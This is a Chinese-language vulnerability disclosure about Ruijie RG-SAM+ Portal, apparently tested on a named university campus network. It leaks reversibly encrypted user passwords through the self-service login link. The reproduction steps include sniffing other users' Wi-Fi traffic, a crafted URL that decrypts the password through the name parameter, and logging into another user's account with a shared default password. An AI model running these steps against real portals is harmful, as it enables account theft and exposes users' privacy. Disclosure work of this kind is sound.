Darwin
Published on 2024-03-26 / 124 Visits
0
0

锐捷RG-SAM+ Portal用户密钥泄漏风险研究

本报告披露了锐捷RG-SAM+ Portal存在的可能导致用户密钥泄漏,被骇客利用以盗用上网账号,威胁网络安全的缺陷。本实践是于2024年3月3日,在重庆工商大学校园网进行的。

【修复状态】

暂未修复

【可能涉及的产品和受影响的企业单位】

产品

  • 锐捷RG-SAM+

  • 锐捷RG-SAM+ Portal

企业单位

  • 北京星网锐捷网络技术有限公司

  • 部署了锐捷RG-SAM+ Portal的客户单位(含大量高校、教育城域网单位)

【实践环境】

  • CERNET 重庆工商大学校园网

  • RG-SAM+ ENTERPRISE_4.21(p16)_Build20220712

  • RG-SAM+ Portal_4.21(p16)_Build20220712

【缺陷简要说明】

用户完成上网认证,进入认证成功的提示页面后,将请求接口getOnlineUserInfo以获取用户信息,该接口的响应数据中包含用于自动登入用户自助服务系统的超链接,其中包含字段name、password。两字段虽然使用了锐捷自研的文本加解密算法进行加密,但该算法非不可逆加密算法,可进行解密并获得原始文本,造成用户账号密码泄漏。

该缺陷带来潜在的风险:

  • 在满足条件1[上网认证页面Web Portal未启用HTTPS,或为HTTP访问优先]下,骇客在局域网内部署恶意软件,监听局域网内用户的上网数据包,可直接截获局域网内正在完成上网认证的用户的数据,其中包含name、password。该隐患经常发生于没有设置无线共享密钥的公共WI-FI,如校园公共WI-FI。

  • 在满足条件1[大量上网用户密码为同一值/默认值]下,只需知晓一位用户的密码,即可登录任意其他用户的账号,导致用户的上网账号被他人恶意盗用,造成上网流量的损失。该隐患经常发生于采用了第三方登录方式(如OAuth)进行上网认证的企业单位。

【复现步骤】

1.抓取getOnlineUserInfo接口响应

此处使用Charles进行演示。也可将自己模拟为骇客,通过局域网窃听软件(如Wi-Fi伴侣),在未授权的情况下窃听连接到同一网络(同一Wi-Fi)的用户的请求。

在接口的响应数据中,找到selfUrl字段。

{
	"userIndex": "3264336************************343133343334",
	"result": "success",
	"message": "获取用户信息成功",
	"keepaliveInterval": null,
	"maxLeavingTime": "不限时长",
	"maxFlow": null,
	"userName": "陈**",
	"userId": "20********",
	"userIp": "10.102.***.***",
	"userMac": "fa********bc",
	"webGatePort": null,
	"webGateIp": null,
	"service": "学生电信出口",
	"realServiceName": "dianxin",
	"apMac": null,
	"vlanId": null,
	"ssid": null,
	"accountInfo": null,
	"loginType": "3",
	"utrustUrl": "",
	"userUrl": "",
	"pubMessage": null,
	"userGroup": "教师组",
	"accountFee": "0.00",
	"wlanAcName": null,
	"hasMabInfo": false,
	"isAlowMab": false,
	"userPackage": "******",
	"selfUrl": "http://netserv.ctbu.edu.cn/selfservice//module/scgroup/web/login_judge.jsf?channel=cG9ydGFs&name=7fa04**************ec828f73&password=2759a0***************8739ebd&ip=211.83.***.55&callBack=loginself",
	"ballInfo": "[]",
	"ballIsDisplay": "true",
	"notify": "[]",
	......

如上面的示例,selfUrl

http://netserv.ctbu.edu.cn/selfservice//module/scgroup/web/login_judge.jsf?channel=cG9ydGFs&name=7fa04**************ec828f73&password=2759a0***************8739ebd&ip=211.83.***.55&callBack=loginself

得到加密后的name和password。

name=7fa04**************ec828f73
password=2759a0***************8739ebd
2.使用自助服务系统自动登录接口解密数据

上面的到的name和password都经过了加密,但加解密通常不是形单影只的,有加密大概率还会有解密。尝试直接访问<strong>selfUrl</strong>链接,即可发现当用户名与密码不匹配时,系统会将name字段解密后放入用户名输入框中,以便用户重新尝试登录时,无需再次输入用户名。

因此,可利用name字段完成文本解密。

将password直接粘贴到name字段,形成下面的selfUrl,直接访问。(其中只需观察name字段被解密为了什么,因此password字段可以为任意值)

http://netserv.ctbu.edu.cn/selfservice//module/scgroup/web/login_judge.jsf?channel=cG9ydGFs&name=2759a0***************8739ebd&password=2759a0***************8739ebd&ip=211.83.***.55&callBack=loginself

可观察到password的原始文本可能[Ct********nic]。

3.确认账号和密码

经过前期的认识,作者所在的网域(重庆工商大学校园网),几乎所有用户的密码都是相同的默认值,因此将随机选取一个用户名尝试登录,以验证得到的密码。

部署锐捷RG-SAM+ Portal时,企业单位为用户配置的用户名通常是有规律可循的,这更加重了采用OAuth而非用户名/密码登录的网域中的安全隐患。

尝试登入一个用户名为20*****的账号,登录成功,同时也可进行一些破坏用户上网体验、泄漏他人隐私的风险操作。

【安全建议】

  • 对于Web Portal,应尽可能配置SSL证书以启用HTTPS、使能HTTPS优先,使用户完成上网认证的数据包。这可以防范MITM攻击、监听,避免用户的账号密码被骇客轻易截获。

  • 部署了锐捷RG-SAM+ Portal的企业单位,应当阻止大量用户密码相同,及时引导用户修改默认密码,或在导入用户账号时,为每一用户生成不同的随机密码。

  • 建议锐捷公司在下一个发布版本中,采用更安全的方式登入自助服务系统,而不是将用户登录时的账号密码简单加密后插入到Query String中,应当避免在程序中进行任何对密码等敏感文本解密的操作。

❤️ 感谢

重庆工商大学提供测试环境


Comment